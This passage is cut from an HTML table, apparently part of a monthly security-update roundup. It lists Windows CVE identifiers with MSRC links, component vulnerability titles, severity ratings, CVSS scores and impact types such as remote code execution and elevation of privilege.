  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
